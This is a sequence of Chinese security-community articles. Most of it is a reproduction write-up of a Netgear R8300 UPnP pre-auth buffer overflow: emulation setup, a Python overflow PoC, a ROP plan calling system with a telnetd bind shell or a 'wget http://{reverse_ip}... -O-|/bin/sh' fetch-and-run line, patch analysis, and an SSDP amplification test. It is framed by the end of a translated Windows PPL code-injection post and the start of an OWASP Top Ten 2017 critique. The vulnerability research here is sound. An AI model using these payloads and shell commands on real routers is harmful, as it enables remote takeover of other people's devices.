TCB。我知道生成一个假的缓存签名DLL应该在PPL中运行，并且微软在任何签名级别为PPL进程留下后门，我把我的c#代码从[1332](https://bugs.chromium.org/p/project-zero/issues/detail?id=1332)号问题转换成c++来生成一个假的缓存签名DLL。通过滥用DLL劫持在WERFAULTSECURE.EXE将作为PPL
Windows TCB运行，我们应该在期望的签名级别执行代码。这适用于Windows 10
1709和更早的版本，但在1803年就不适用了。显然，微软已经在某种程度上改变了缓存签名级别的行为，也许他们已经完全放弃了对PPL的信任。这似乎不太可能，因为这会对性能产生负面影响。
在与Alex
Ionescu讨论了这一点之后，我决定将一个快速解析器与Alex提供的关于文件缓存签名数据的信息放在一起。这在NtObjectManager中被公开为Get-NtCachedSigningLevel命令。我对一个假的有符号二进制文件和一个系统二进制文件运行了这个命令，这个系统二进制文件也缓存了有符号的二进制文件，并且立即发现了不同之处：
对于伪签名文件，标志被设置为TrustedSignature
(0x02)，但是对于系统二进制PowerShell无法解码枚举，因此只能输出十六进制中的整数值66
(0x42)。值0x40是在原始可信签名标志之上的额外标志。看起来，如果没有设置这个标志，DLL就不会被加载到PPL进程中。一定有什么东西设置了这个标志，所以我决定检查如果我加载了一个有效的缓存签名DLL而没有额外的标志到PPL进程中会发生什么。我通过监控Process
Monitor得到了答案
进程监视器跟踪显示，内核首先从DLL查询扩展属性(EA)。缓存的签名级别数据存储在文件的EA中，因此这几乎肯定是缓存的签名级别被读取的指示。在检查完整签名的完整跟踪工件(如列举目录文件)中，为了简洁起见，我从屏幕快照中删除了这些工件。最后设置EA，如果我检查文件的缓存签名级别，它现在包含额外的标志。设置缓存的签名级别是自动完成的，问题是如何设置?通过提取堆栈跟踪，我们可以看到它是如何发生的
查看堆栈跟踪的中间部分，我们可以看到对CipSetFileCache的调用源自对NtCreateSection的调用。当这样做有意义时，内核会自动缓存签名，例如在PPL中，这样后续的图像映射就不需要重新检查签名。可以从具有写访问权限的文件中映射图像部分，这样我们就可以重用第1332号问题中的相同攻击，并用NtCreateSection替换对NtSetCachedSigningLevel的调用，并且可以伪造任何DLL的签名。事实证明，设置文件缓存的调用是在引入写检查来修复1332问题之后发生的，因此可以使用它再次绕过设备保护。基于这个原因，我将旁路报告为问题[1597](https://bugs.chromium.org/p/project-zero/issues/detail?id=1597)，该问题在2018年9月被修正为[CVE-2018-8449](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-8449)。然而，与第1332号问题一样，PPL的后门仍然存在，因此即使修复消除了设备保护旁路，它仍然可以用来让我们从PPL-codegen到PPL- Windows TCB
##### 结论
这个博客展示了我如何能够在不需要管理员权限的情况下将任意代码注入PPL。你能用这种新发现的力量做什么?作为一个普通用户，这并不是什么大问题，但是操作系统中有一些部分，比如Windows
Store，它依赖于PPL软件来保护文件和资源，而这些文件和资源是普通用户无法修改的。如果你升级到管理员，然后注入到一个PPL，你会得到更多的东西来攻击，比如CSRSS(通过它你当然可以得到内核代码执行)或者攻击Windows防御程序，运行PPL反恶意软件。随着时间的推移，我确信大多数PPL的用例将被虚拟安全模式(VSM)和独立用户模式(IUM)应用程序所取代，这些应用程序具有更大的安全保证，而且也被认为是安全边界，微软将对此进行维护和修复。
我是否向微软报告了这些问题?微软已经明确表示，他们不会在安全公告中只修复影响PP和PPL的问题。如果没有安全公告，研究人员就不会收到对该发现的确认，比如CVE。这个问题不会在Windows的当前版本中修复，尽管它可能在下一个主要版本中修复。之前确认微软解决一个特定安全问题上的政策是基于先例,不过他们最近出版的Windows技术将列表或不会固定在Windows安全服务标准,为保护过程如下所示,微软不会修复或支付相关问题特性赏金。因此，从现在开始，如果我发现了一些我认为只会影响PP或PPL的问题，我将不再与微软合作
我向微软报告的一个错误只是修复了，因为它可以用来绕过设备保护。当你思考这个问题的时候，只修复设备保护有点奇怪。我仍然可以通过注入PPL和设置缓存的签名级别来绕过Device
Guard，但是微软不会修复PPL问题，但会修复Device
Guard问题。尽管Windows安全服务标准文档确实有助于澄清微软会修复什么，不会修复什么，但它仍然有些武断。安全特性很少是孤立的安全特性，几乎可以肯定的是该特性是安全的，因为其他特性使其如此。
在本博客的第2部分中，我们将讨论我如何能够使用COM的另一个有趣的特性来分解完整的PP-WindowsTCB进程
本文翻译自: <https://googleprojectzero.blogspot.com/2018/10/injecting-code-into-windows-protected.html> | 社区文章 |
**作者：fenix@知道创宇404实验室
时间：2020年8月25日**
# 1.前言
R8300 是 Netgear 旗下的一款三频无线路由，主要在北美发售，官方售价 $229.99。
2020 年 7 月 31 日，Netgear 官方发布安全公告，在更新版固件 1.0.2.134 中修复了 R8300 的一个未授权 RCE
漏洞[【1】](https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211 "Netgear 官方安全公告")。2020
年 8 月 18 日，SSD Secure Disclosure 上公开了该漏洞的细节及 EXP[【2】](https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/
"漏洞详情")。
该漏洞位于路由器的 UPnP 服务中， 由于解析 SSDP 协议数据包的代码存在缺陷，导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer
溢出，进一步控制 PC 执行任意代码。
回顾了下整个复现流程还是很有趣的，特此记录。
# 2.环境搭建
下面先搭建漏洞调试环境。在有设备的情况下，有多种直接获取系统 shell 的方式，如：
1. 硬件调试接口，如：UART
2. 历史 RCE 漏洞，如：NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞[【3】](https://www.seebug.org/vuldb/ssvid-98253 "NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞")
3. 设备自身的后门，Unlocking the Netgear Telnet Console[【4】](https://openwrt.org/toh/netgear/telnet.console#for_newer_netgear_routers_that_accept_probe_packet_over_udp_ex2700_r6700_r7000_and_r7500 "Unlocking the Netgear Telnet Console")
4. 破解固件检验算法，开启 telnet 或植入反连程序。
不幸的是，没有设备...
理论上，只要 CPU 指令集对的上，就可以跑起来，所以我们还可以利用手头的树莓派、路由器摄像头的开发板等来运行。最后一个就是基于 QEMU
的指令翻译，可以在现有平台上模拟 ARM、MIPS、X86、PowerPC、SPARK 等多种架构。
### 下载固件
Netgear 还是很良心的，在官网提供了历史固件下载。
下载地址：[【5】](https://www.netgear.com/support/product/R8300.aspx#download "固件下载")
下载的固件 md5sum 如下：
c3eb8f8c004d466796a05b4c60503162 R8300-V1.0.2.130_1.0.99.zip - 漏洞版本
abce2193f5f24f743c738d24d36d7717 R8300-V1.0.2.134_1.0.99.zip - 补丁版本
binwalk 可以正确识别。
? binwalk R8300-V1.0.2.130_1.0.99.chk
DECIMAL HEXADECIMAL DESCRIPTION
-------------------------------------------------------------------------------- 58 0x3A TRX firmware header, little endian, image size: 32653312 bytes, CRC32: 0x5CEAB739, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21AB50, rootfs offset: 0x0
86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5470272 bytes
2206602 0x21AB8A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 30443160 bytes, 1650 inodes, blocksize: 131072 bytes, created: 2018-12-13 04:36:38
使用 `binwalk -Me` 提取出 Squashfs 文件系统，漏洞程序是 `ARMv5` 架构，动态链接，且去除了符号表。
? squashfs-root ls
bin dev etc lib media mnt opt proc sbin share sys tmp usr var www
? squashfs-root find . -name upnpd
./usr/sbin/upnpd
? squashfs-root file ./usr/sbin/upnpd
./usr/sbin/upnpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
### QEMU 模拟
在基于 QEMU 的固件模拟这块，网上也有一些开源的平台，如比较出名的
firmadyne[【6】](https://github.com/firmadyne/firmadyne
"firmadyne")、ARM-X[【7】](https://github.com/therealsaumil/armx
"ARM-X")。不过相比于使用这种集成环境，我更倾向于自己动手，精简但够用。
相应的技巧在之前的文章 《Vivotek 摄像头远程栈溢出漏洞分析及利用》[【8】](https://paper.seebug.org/480/
"Vivotek 摄像头远程栈溢出漏洞分析及利用") 也有提及，步骤大同小异。
在 Host 机上创建一个 tap 接口并分配 IP，启动虚拟机：
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.2.1/24
qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
用户名和密码都是 root，为虚拟机分配 IP：
ifconfig eth0 192.168.2.2/24
这样 Host 和虚拟机就网络互通了，然后挂载 proc、dev，最后 chroot 即可。
root@debian-armhf:~# ls
squashfs-root
root@debian-armhf:~# ifconfig
eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56
inet addr:192.168.2.2 Bcast:192.168.2.255 Mask:255.255.255.0
inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:96350 errors:0 dropped:0 overruns:0 frame:0
TX packets:98424 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:7945287 (7.5 MiB) TX bytes:18841978 (17.9 MiB)
Interrupt:47
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:55 errors:0 dropped:0 overruns:0 frame:0
TX packets:55 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:304544 (297.4 KiB) TX bytes:304544 (297.4 KiB)
root@debian-armhf:~# mount -t proc /proc ./squashfs-root/proc
root@debian-armhf:~# mount -o bind /dev ./squashfs-root/dev
root@debian-armhf:~# chroot ./squashfs-root/ sh
BusyBox v1.7.2 (2018-12-13 12:34:27 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# id
uid=0 gid=0(root)
#
### 修复运行依赖
直接运行没有任何报错就退出了，服务也没启动。
经过调试发现是打开文件失败。
手动创建 `/tmp/var/run` 目录，再次运行提示缺少 `/dev/nvram`。
NVRAM( 非易失性 RAM) 用于存储路由器的配置信息，而 upnpd 运行时需要用到其中部分配置信息。在没有硬件设备的情况下，我们可以使用
`LD_PRELOAD` 劫持以下函数符号。
网上找到一个现成的实现：[【9】](https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c
"nvram hook 库")，交叉编译：
? armv5l-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so
还是报错，找不到 `dlsym` 的符号。之所以会用到 `dlsym`，是因为该库的实现者还同时 hook 了
`system`、`fopen`、`open` 等函数，这对于修复文件缺失依赖，查找命令注入漏洞大有裨益。
`/lib/libdl.so.0` 导出了该符号。
? grep -r "dlsym" .
Binary file ./lib/libcrypto.so.1.0.0 matches
Binary file ./lib/libdl.so.0 matches
Binary file ./lib/libhcrypto-samba4.so.5 matches
Binary file ./lib/libkrb5-samba4.so.26 matches
Binary file ./lib/libldb.so.1 matches
Binary file ./lib/libsamba-modules-samba4.so matches
Binary file ./lib/libsqlite3.so.0 matches
grep: ./lib/modules/2.6.36.4brcmarm+: No such file or directory
? readelf -a ./lib/libdl.so.0 | grep dlsym
26: 000010f0 296 FUNC GLOBAL DEFAULT 7 dlsym
可以跑起来了，不过由于缺少配置信息，还是会异常退出。接下来要做的就是根据上面的日志补全配置信息，其实特别希望能有一台 R8300，导出里面的 nvram
配置...
简单举个例子，`upnpd_debug_level` 是控制日志级别的，`sub_B813()` 是输出日志的函数，只要
`upnpd_debug_level > sub_B813() 的第一个参数`，就可以在终端输出日志。
下面分享一份 nvram 配置，至于为什么这么设置，可以查看对应的汇编代码逻辑（配置的有问题的话很容易触发段错误）。
upnpd_debug_level=9
lan_ipaddr=192.168.2.2
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF
upnpd 服务成功运行！
# 3.漏洞分析
该漏洞的原理很简单，使用 `strcpy()` 拷贝导致的缓冲区溢出，来看看调用流程。
在 `sub_1D020()` 中使用 `recvfrom()` 从套接字接受最大长度 `0x1fff` 的 UDP 报文数据。
在 `sub_25E04()` 中调用 `strcpy()` 将以上数据拷贝到大小为 `0x634 - 0x58 = 0x5dc` 的 buffer。
# 4.利用分析
通过 `checksec` 可知程序本身只开了 NX 保护，从原漏洞详情得知 R8300 上开了 ASLR。
很容易构造出可控 PC 的 payload，唯一需要注意的是栈上有个 v39 的指针 v41，覆盖的时候将其指向有效地址即可正常返回。
#!/usr/bin/python3
import socket
import struct
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
0x604 * b'a' + # dummy
p32(0x7e2da53c) + # v41
(0x634 - 0x604 - 8) * b'a' + # dummy
p32(0x43434343) # LR
)
s.connect(('192.168.2.2', 1900))
s.send(payload)
s.close()
显然，`R4 - R11` 也是可控的，思考一下目前的情况：
1. 开了 NX 不能用 `shellcode`。
2. 有 ASLR，不能泄漏地址，不能使用各种 LIB 库中的符号和 `gadget`。
3. `strcpy()` 函数导致的溢出，payload 中不能包含 `\x00` 字符。
其实可控 PC 后已经可以干很多事了，`upnpd` 内包含大量 `system` 函数调用，比如 `reboot`。
下面探讨下更为 general 的 RCE 利用，一般像这种 ROP 的 payload 中包含 `\x00`，覆盖返回地址的payload 又不能包含
`\x00`，就要想办法提前将 ROP payload 注入目标内存。
比如，利用内存未初始化问题，构造如下 PoC，每个 payload 前添加 `\x00` 防止程序崩溃。
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('192.168.2.2', 1900))
s.send(b'\x00' + b'A' * 0x1ff0)
s.send(b'\x00' + b'B' * 0x633)
s.close()
在漏洞点下断点，
两次拷贝完成后，看下内存布局：
可以看到，由于接收 socket 数据的 buffer 未初始化，在劫持 PC 前我们可以往目标内存注入 6500 多字节的数据。 这么大的空间，也足以给
ROP 的 payload 一片容身之地。
借用原作者的一张图，利用原理如下：
关于 ROP，使用 `strcpy` 调用在 bss 上拼接出命令字符串，并调整 R0 指向这段内存，然后跳转 `system` 执行即可。
原作者构造的 `system("telnetd -l /bin/sh -p 9999& ")` 绑定型 shell。
经过分析，我发现可以构造 `system("wget http://{reverse_ip}:{reverse_port} -O-|/bin/sh")`
调用，从而无限制任意命令执行。
构造的关键在于下面这张表。
发送 payload，通过 hook 的日志可以看到，ROP 利用链按照预期工作，可以无限制远程命令执行。 （由于模拟环境的问题，wget
命令运行段错误了...）
# 5.补丁分析
在更新版固件 `V1.0.2.134` 中，用 `strncpy()` 代替 `strcpy()`，限制了拷贝长度为 `0x5db`，正好是 buffer
长度减 1。
补丁中还特意用 `memset()` 初始化了 buffer。这是由于 `strncpy()` 在拷贝时，如果 n < src 的长度，只是将 src 的前
n 个字符复制到 dest 的前 n 个字符，不会自动添加 `\x00`，也就是结果 dest 不包括 `\x00`，需要再手动添加一个 `\x00`；如果
src 的长度小于 n 个字节，则以`\x00` 填充 dest 直到复制完 n 个字节。
结合上面的 RCE 利用过程，可见申请内存之后及时初始化是个很好的编码习惯，也能一定程度上避免很多安全问题。
# 6.影响范围
通过 ZoomEye 网络空间搜索引擎对关键字 `"SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0"`
进行搜索，共发现 18889 条 Netgear UPnP 服务的 IP
历史记录，主要分布在美国[【10】](https://www.zoomeye.org/searchResult?q=%22SERVER%3A%20Linux%2F2.6.12%2C%20UPnP%2F1.0%2C%20NETGEAR-UPNP%2F1.0%22 "ZoomEye 搜索")。其中是 R8300 这个型号的会受到该漏洞影响。
# 7.其他
说句题外话，由于协议设计缺陷，历史上 UPnP 也被多次曝出漏洞，比如经典的 SSDP 反射放大用来 DDoS 的问题。
在我们的模拟环境中进行测试，发送 132 bytes 的 `ST: ssdp:all M-SEARCH` 查询请求 ，服务器响应了 4063 bytes
的数据，放大倍率高达 30.8。
因此，建议网络管理员禁止 SSDP UDP 1900 端口的入站请求。
? pocsuite -r upnp_ssdp_ddos_poc.py -u 192.168.2.2 -v 2
,------. ,--. ,--. ,----. {1.5.9-nongit-20200408}
| .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. |
| '--' | .-. | .--( .-'| || ,--'-. .-| .-. : .' <
| | --'' '-' \ `--.-' `' '' | | | | \ --/'-' |
`--' `---' `---`----' `----'`--' `--' `----`----' http://pocsuite.org
[*] starting at 11:05:18
[11:05:18] [INFO] loading PoC script 'upnp_ssdp_ddos_poc.py'
[11:05:18] [INFO] pocsusite got a total of 1 tasks
[11:05:18] [DEBUG] pocsuite will open 1 threads
[11:05:18] [INFO] running poc:'upnp ssdp ddos' target '192.168.2.2'
[11:05:28] [DEBUG] timed out
[11:05:28] [DEBUG] HTTP/1.1 200 OK
ST: upnp:rootdevice
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::upnp:rootdevice
HTTP/1.1 200 OK
ST: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1
HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:device:InternetGatewayDevice:1
HTTP/1.1 200 OK
ST: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1
HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:device:WANDevice:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:device:WANDevice:1
HTTP/1.1 200 OK
ST: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1
HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:device:WANConnectionDevice:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:device:WANConnectionDevice:1
HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:service:Layer3Forwarding:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:Layer3Forwarding:1
HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1
HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:service:WANEthernetLinkConfig:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANEthernetLinkConfig:1
HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:service:WANIPConnection:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANIPConnection:1
HTTP/1.1 200 OK
ST: urn:schemas-upnp-org:service:WANPPPConnection:1
LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANPPPConnection:1
[11:05:28] [+] URL : http://192.168.2.2
[11:05:28] [+] Info : Send: 132 bytes, receive: 4063 bytes, amplification: 30.78030303030303
[11:05:28] [INFO] Scan completed,ready to print
+-------------+----------------+--------+-----------+---------+---------+
| target-url | poc-name | poc-id | component | version | status |
+-------------+----------------+--------+-----------+---------+---------+
| 192.168.2.2 | upnp ssdp ddos | | | | success |
+-------------+----------------+--------+-----------+---------+---------+
success : 1 / 1
[*] shutting down at 11:05:28
# 8.相关链接
【1】: Netgear 官方安全公告
<https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211>
【2】: 漏洞详情
<https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/>
【3】: NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞
<https://www.seebug.org/vuldb/ssvid-98253>
【4】: Unlocking the Netgear Telnet Console
<https://openwrt.org/toh/netgear/telnet.console#for_newer_netgear_routers_that_accept_probe_packet_over_udp_ex2700_r6700_r7000_and_r7500>
【5】: 固件下载
<https://www.netgear.com/support/product/R8300.aspx#download>
【6】: firmadyne
<https://github.com/firmadyne/firmadyne>
【7】: ARM-X
<https://github.com/therealsaumil/armx>
【8】: Vivotek 摄像头远程栈溢出漏洞分析及利用
<https://paper.seebug.org/480/>
【9】: nvram hook 库
<https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c>
【10】: ZoomEye 搜索
<https://www.zoomeye.org/searchResult?q=%22SERVER%3A%20Linux%2F2.6.12%2C%20UPnP%2F1.0%2C%20NETGEAR-UPNP%2F1.0%22>
* * * | 社区文章 |
# 【技术分享】OWASP Top Ten 2017版： 得与失
|
##### 译文声明
本文是翻译文章，文章来源：dzone.com
原文地址：<https://dzone.com/articles/owasp-top-ten-for-2017-the-hits-amp-misses>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[ureallyloveme](http://bobao.360.cn/member/contribute?uid=2586341479)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**引言**
新的 OWASP Top Ten已出版。让我们来看看一个安全研究员是如何评论今年该版本的得与失。
OWASP Top 10将常见的 web 应用安全漏洞进行了大致分类，有助于团队专注于web 应用程序的各项关键安全活动。我在华盛顿大学教授 Web
应用程序安全课程时，就结合了 OWASP Top 10及其框架。在为Security
Innovation（美国知名网络安全供应商）执行应用安全评估的时候，我也用它来对发现的安全漏洞进行归类与分组。然而，我在实践中对它使用得越多，其的好处和缺陷也就越是凸显。
其2017候选版（或称待发版），提供了改进，但是也引入了新的问题。为了使其我的建议列表更为有效，如下将以重要程度为顺序展开：
将A4的"失效的访问控制"措词变更为"失效的授权控制"，以阐明和拓展其含义。
简化A7为专注于日志记录/审计，这是一个可以完全独立开展的关键安全活动。
删除A10的"未受保护的APIs"，在其他类别中添加有关APIs的文字。或是将该类别改为备份。
**合并的类别**
2017候选版本将
2013年版中类别"A4-不安全的直接对象引用"和"A7-功能级访问控制缺失"合并到了一个单独的类别–"A4失效的访问控制"。我认为这是明智之举，它创造了一个更广泛和强健的、集中于授权控制的类别。然而，我更趋向于将"授权"也包含到该类别的标题中，使之更好地与其他安全框架进行交互。这也将与他们在A2缺失的验证和会话管理中使用到的"验证"相呼应。
**为什么呢？**
新的“A4失效的访问控制”类别被描述为"对通过了身份验证的用户的限制"没有得到适当的强制执行。攻击者可以利用这些漏洞访问未经授权的功能和/或数据，如访问各种其他用户的帐户、查看敏感的文件、修改其他用户的数据、
更改访问权限等。A4假定用户已经通过了身份验证，而且一旦通过了验证，他将只专注于访问。其实还应该有一句明确且被广泛采用的词语–授权。A4并非关于失效的访问控制，因为它在广义上不太与"访问"相关。它并不涉及身份验证，这在A2中已经有所涵括。A4只专注与授权有关的问题，因此，应该把名称中的"访问"一词替换的。其标题才能够反映出真正的意义和具体的问题。
虽然这可能让人会感觉只是一个语义的问题，但我相信这个措辞的变化对于其上下文的语境并达成理解上的共识是非常重要的。在业界，身份验证和授权有着明确和特定的含义，所以它们应该反映在OWASP的标准中。
对于今年引入的两个新的类别：“A7-攻击检测与防范不足”和“A10-未受保护的API”，这些都是为了试图跟上不断进化的 web
应用环境而引入的。不过，我相信OWASP其他类别的涉及面会使得这两个新类略显多余。
**A7-攻击检测与防范不足**
这个类别被定义为:"大多数的应用程序和API缺乏针对手动和自动攻击的检测、
以及防止和响应的基本能力。攻击保护远远超出了基本的输入验证，并且涉及到自动检测、记录、响应甚至阻止攻击对漏洞利用的尝试。应用程序所有者还需要有快速部署修补程序以防止攻击的能力。
**输入验证能够检测、响应、并且阻止攻击对漏洞利用的尝试。**
A7将控件描述为应该"不仅仅是基本的输入验证，还涉及到检测、记录、响应甚至阻止攻击对漏洞利用的尝试。"而这正是输入验证的作用 — —
它检测到恶意或不应出现的用户输入所引发的错误，通过去除，记录或阻止它来作为响应。如果应用程序请求一美元金额的银行转帐，而用户提供的确是一个负数，那么应用程序将能识别该恶意输入，并通过阻断交易来作出回应。所以说将输入验证区别于检测和对漏洞利用尝试的响应，显然在本质上的不准确和具误导性的。
**A9 和 A5中涉及到的修补**
A7里提到："应用程序所有者还需要有快速部署修补程序以防止攻击的能力。"而准确地说，这与A9-使用已知漏洞的组件，以及A5-安全配置错误
（其中包括了"软件应该保持更新"）重复了。将修补问题单独成为一个类别，显然是多余的，而且降低了分类的价值。
**A7类别并未给整张表带来任何新的内容**
如前文所述，用适当的控制来验证用户的输入，以防止A1注入攻击、A2失效的身份验证、A3跨站脚本（XSS）、A4失效的授权、A6敏感信息的泄漏、A8跨站请求伪造（CSRF），所有这些都涵括了检测用户输入、记录（有时候）、响应甚至阻止恶意攻击。登录页面不能节流各种访问的尝试吗？这都是A2或A5涉及到的问题。如果有人使用SQLMap试图攻击的话，这就是A1涵括的问题。如果应用程序需要一个补丁的话，这就是A9涉及到的问题。
**A7涵括的是应用程序，而设备则通常超出范围了**
如果我们暂时接受攻击防护不足这种类别，那么对于一个组织来说，要解决这问题的最佳途径似乎就是部署 IDS / IPS / WAF设备了。然而，所有这些措施
（网络硬件和基础设施设备） 都是外部的，并非web应用的一部分。虽然我也知道应用程序并非在隔离状态下运行的，但OWASP Top
10应该更关注于web应用的安全，而不是更大的、基础设施方面的生态系统的安全。一念之差，则会在概念上滑入深渊。
**不是要治标，而是要治本**
A7似乎激发了"将技术掷向问题"的行为。整个行业越来越愿意为“商家过度炒作，却无法兑现”而买单。这些功效有待验证的、面向企业的动态漏洞检测与缓解方案成为了各种公司的巨大财务支出。这些设备本身并无良莠差别，但是在使用的时候应当仔细考虑它们的自身优势和特点。我曾供职过一家大型企业，他们宁可选择部署Web
应用防火墙(WAFs)，而不去真正地修复其web应用程序中的问题。我去与他们的应用程序所有者交流，他们告知我之所以不愿意修复web应用程序的各种漏洞发现，是因为他们已经有了入侵检测系统（IDS），能够捕获各种SQL注入的尝试。这是一种道德风险，这些设备的存在会抑制潜在问题的减轻可能性。
除了我对OWASP Top
Ten包含范围的疑问，此问题在根本上还是源于：让传统的网络安全部门承接应用安全方面的责任，这一趋势。这产生了一个试图从网络/基础设施的角度，而不是从解决问题的根源和保护应用程序本身的角度，去解决问题的坏习惯。正是因为如此，我很不情愿地推荐将部署安全设备直接作为OWASP
Top
10的一个类别。因为这会怂恿公司去部署一个打包式的解决方案，而不是去认真修复那些属于OWASP其他类别的、潜在的问题，其他分为的根本问题。在某一种类别中，例如A1-注入或A3-跨站脚本XSS，设备可以作为一种非常有用的选择，以及被列为缓解的一种方式，但它们不应该被列成一种单独的类别。
因此，我的建议是删除该类别，或是更改成关注记录，从而让各种控制围绕着阻断、事件响应和审核，以形成一个简单的、总体的重要安全控制。通过这样做，它将填补2013版OWASP类别中的空白在，使各个组织更容易聚焦执行，从而产生更大的应用和整体安全。
**A10-未受保护的APIs**
